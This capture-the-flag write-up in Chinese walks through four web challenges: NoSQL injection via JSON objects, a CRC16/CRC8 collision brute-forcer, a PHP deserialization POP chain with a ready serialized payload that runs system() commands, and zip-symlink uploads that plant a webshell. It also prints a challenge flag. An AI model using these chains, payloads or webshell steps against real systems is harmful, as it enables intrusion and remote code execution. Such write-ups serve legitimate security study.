ez_signin
题目给了附件,app.py:
from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re
app = Flask(__name__)
client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']
def sanitize(input_str: str) -> str:
return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)
@app.route('/')
def index():
return render_template('index.html', books=None)
@app.route('/search', methods=['GET', 'POST'])
def search():
query = {"$and": []}
books = []
if request.method == 'GET':
title = request.args.get('title', '').strip()
author = request.args.get('author', '').strip()
title_clean = sanitize(title)
author_clean = sanitize(author)
if title_clean:
query["$and"].append({"title": {"$eq": title_clean}})
if author_clean:
query["$and"].append({"author": {"$eq": author_clean}})
if query["$and"]:
books = list(books_collection.find(query))
return render_template('index.html', books=books)
elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)
title = data.get("title")
author = data.get("author")
if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})
if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})
if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books
])
return jsonify({"error": "Empty query"}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
return jsonify({"error": "Unsupported Content-Type"}), 400
if __name__ == "__main__":
app.run("0.0.0.0", 8000)
flask+mongodb实现了一个BookStore根据title和author查询book的功能,如果是GET方式请求或是POST方式传参string,参数会被sanitize方法过滤,只允许大小写字母数字空格,无法实现NoSQL注入
但如果是POST方式请求,传参格式为json,就不会进行任何过滤,且NoSQL注入刚好需要传入dict类型数据:

EzCRC
index.php:
<?php
error_reporting(0);
ini_set('display_errors', 0);
highlight_file(__FILE__);
function compute_crc16($data) {
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}
function calculate_crc8($input) {
static $crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
];
$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}
$SECRET_PASS = "Enj0yNSSCTF4th!";
include "flag.php";
if (isset($_POST['pass']) && strlen($SECRET_PASS) == strlen($_POST['pass'])) {
$correct_pass_crc16 = compute_crc16($SECRET_PASS);
$correct_pass_crc8 = calculate_crc8($SECRET_PASS);
$user_input = $_POST['pass'];
$user_pass_crc16 = compute_crc16($user_input);
$user_pass_crc8 = calculate_crc8($user_input);
if ($SECRET_PASS === $user_input) {
die("这样不行");
}
if ($correct_pass_crc16 !== $user_pass_crc16) {
die("这样也不行");
}
if ($correct_pass_crc8 !== $user_pass_crc8) {
die("这样还是不行吧");
}
$granted_access = true;
if ($granted_access) {
echo "都到这份上了,flag就给你了: $FLAG";
} else {
echo "不不不";
}
} else {
echo "再试试";
}
?>
实现了CRC16和CRC8的验证,要求长度和所给$SECRET_PASS一样
直接爆破,一开始写的python脚本,发现python的len和php的strlen对某些字符的长度判断不同,后来改用php写,只是爆破速度慢一些:
<?php
function compute_crc16($data) {
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}
function calculate_crc8($input) {
static $crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
];
$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}
$SECRET_PASS = "Enj0yNSSCTF4th!";
$target_crc16 = compute_crc16($SECRET_PASS);
$target_crc8 = calculate_crc8($SECRET_PASS);
echo "目标CRC16: $target_crc16\n";
echo "目标CRC8: $target_crc8\n";
echo "开始爆破...\n";
$found = false;
$attempts = 0;
while (!$found) {
$attempts++;
// 生成随机15字节字符串
$random_bytes = '';
for ($i = 0; $i < 15; $i++) {
$random_bytes .= chr(random_int(0, 255));
}
// 跳过原始密码
if ($random_bytes === $SECRET_PASS) {
continue;
}
$crc16 = compute_crc16($random_bytes);
$crc8 = calculate_crc8($random_bytes);
if ($crc16 === $target_crc16 && $crc8 === $target_crc8) {
$found = true;
echo "尝试次数: $attempts\n";
echo "碰撞字符串: " . bin2hex($random_bytes) . "\n";
echo "CRC16: $crc16, CRC8: $crc8\n";
echo "pass=" . urlencode($random_bytes) . "\n";
}
// 显示进度
if ($attempts % 10000 === 0) {
echo "已尝试 $attempts 次...\n";
}
}
[mpga]filesystem
题目给了www.zip备份文件,反序列化漏洞点位于:
if ($action === 'home' && isset($_POST['submit_md5'])) {
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';
if (!empty($filename_param)) {
$file_object = @unserialize($filename_param);
if ($file_object === false || !($file_object instanceof FileManager)) {
$file_object = new FileManager($filename_param);
}
$output = $file_object->getFileHash();
} else {
$output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
}
}
submit_md5随便传一个值就能触发unserialize,构造的序列化字符串放在file_to_check传入即可,接下来就是构造链子,先看一下有哪些class:
<?php
class ApplicationContext{
public $contextName;
public function __construct(){
$this->contextName = 'ApplicationContext';
}
public function __destruct(){
$this->contextName = strtolower($this->contextName);
}
}
class ContentProcessor{
private $processedContent;
public $callbackFunction;
public function __construct(){
$this->processedContent = new FunctionInvoker();
}
public function __get($key){
if (property_exists($this, $key)) {
if (is_object($this->$key) && is_string($this->callbackFunction)) {
$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}
class FileManager{
public $targetFile;
public $responseData = 'default_response';
public function __construct($targetFile = null){
$this->targetFile = $targetFile;
}
public function filterPath(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
die('文件路径不符合规范');
}
}
public function performWriteOperation($var){
$targetObject = $this->targetFile;
$value = $targetObject->$var;
}
public function getFileHash(){
$this->filterPath();
if (is_string($this->targetFile)) {
if (file_exists($this->targetFile)) {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希: " . htmlspecialchars($md5_hash);
} else {
die("文件未找到");
}
} else if (is_object($this->targetFile)) {
try {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
} catch (TypeError $e) {
return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
}
} else {
die("文件未找到");
}
}
public function __toString(){
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}
class FunctionInvoker{
public $functionName;
public $functionArguments;
public function __call($name, $arg){
if (function_exists($name)) {
$name($arg[0]);
}
}
}
只有ApplicationContext类中有__destruct方法,这条链从入口开始找比较方便,__destruct方法中调用了strtolower函数,将contextName成员置为FileManager类的实例就能继续执行__toString方法,将method置为performWriteOperation,就能进入performWriteOperation方法,只需要再将targetObject置为ContentProcessor类的实例再将var置为processedContent,尝试访问private成员就会调用ContentProcessor类的__get方法,最后就是命令执行的部分,将callbackFunction置为system,尝试访问FunctionInvoker类中不存在的方法就会调用__call方法,只需再传入cmd为要执行的命令就能实现RCE,完整的链子:
ApplicationContext.__destruct -> FileManager.__toString -> FileManager.performWriteOperation -> ContentProcessor.__get -> FunctionInvoker.__call
exp:
<?php
class ApplicationContext{
public $contextName;
}
class ContentProcessor{
private $processedContent;
public $callbackFunction;
public function __construct(){
$this->processedContent = new FunctionInvoker();
}
}
class FileManager{
public $targetFile;
public $responseData = 'default_response';
}
class FunctionInvoker{
}
$a = new ApplicationContext();
$b = new FileManager();
$a->contextName = $b; // 触发__toString method=performWriteOperation&var=processedContent
$c = new ContentProcessor();
$c->callbackFunction = "system";
$b->targetFile = $c; // 触发__get cmd=whoami
print(urlencode(serialize($a)));
?>
生成的序列化字符串:
O%3A18%3A%22ApplicationContext%22%3A1%3A%7Bs%3A11%3A%22contextName%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A0%3A%7B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D%7D

ez_upload
比赛过程中给了一条hint:ez_upload: php -S
PHP<=7.4.21存在远程源码泄露漏洞:

index.php:
<?php
error_reporting(0);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
?>
拿到源码的时候比赛已经快结束了,赛后仔细分析一遍,先看finfo_open函数和参数FILEINFO_MIME_TYPE:
function finfo_open(int $flags = 0, ?string $magic_database = null): finfo|false { }
@param int $flags — One or disjunction of more Fileinfo constants.
@param string|null $magic_database
FILEINFO_MIME_TYPE (int)
Return the mime type.
finfo_open函数打开一个魔数数据库并且返回它的资源句柄,指向底层系统资源的引用,本地环境var_dump看一下具体是什么内容:
resource(2) of type (file_info)
再看一下全局数据$FILE:
$_FILES["file"]["name"] - 上传文件的名称
$_FILES["file"]["type"] - 上传文件的类型
$_FILES["file"]["size"] - 上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称 // 临时目录位置由php.ini决定 echo ini_get('upload_tmp_dir');
$_FILES["file"]["error"] - 由文件上传导致的错误代码
简单来说finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'用于判断文件类型是否为zip类型,严格限制了只能上传zip类型的文件
php有个临时文件的机制,对于上传的文件都会临时在upload_tmp_dir目录下保存一个副本phpXXXXXX.tmp (在windows下有tmp后缀,linux没有),在php程序正常结束时被删除,但是如果php程序崩溃或非正常结束,那么临时文件就会被保存下来
本题利用的是linux的软链接特性,类似windows上的快捷方式,创建软链接会有一个类似文件夹的文件产生,里面连通被指向的目录,需要题目环境执行解压操作才能实现任意路径写入webshell
ln -s创建软链接文件link,指向/var/www/html:
ln -s /var/www/html link
将link软链接打包成zip压缩包:
zip --symlinks link1.zip link
在link中放入木马文件shell.php,将link以及shell.php一并打包为zip压缩包:
zip -r link2.zip link
再依次上传两个zip压缩包,先上传link1.zip,在/tmp目录下创建一个指向/var/www/html的软链接,再上传link2.zip,其中的shell.php会被直接解压到软链接指向的/var/www/html目录下,实现任意路径webshell的写入,最后蚁剑连接就能拿到shell,flag在根目录下:NSSCTF{y0u_ar3_50ft_l1nk_m4st3r!!!!}
参考资料:
https://cn-sec.com/archives/1634720.html
https://www.cnblogs.com/linuxsec/articles/11278477.html
https://0ran9e.fun/2024/09/02/%E6%AF%8F%E6%97%A5%E4%B8%80%E9%A2%98/2023ciscn-Unzip/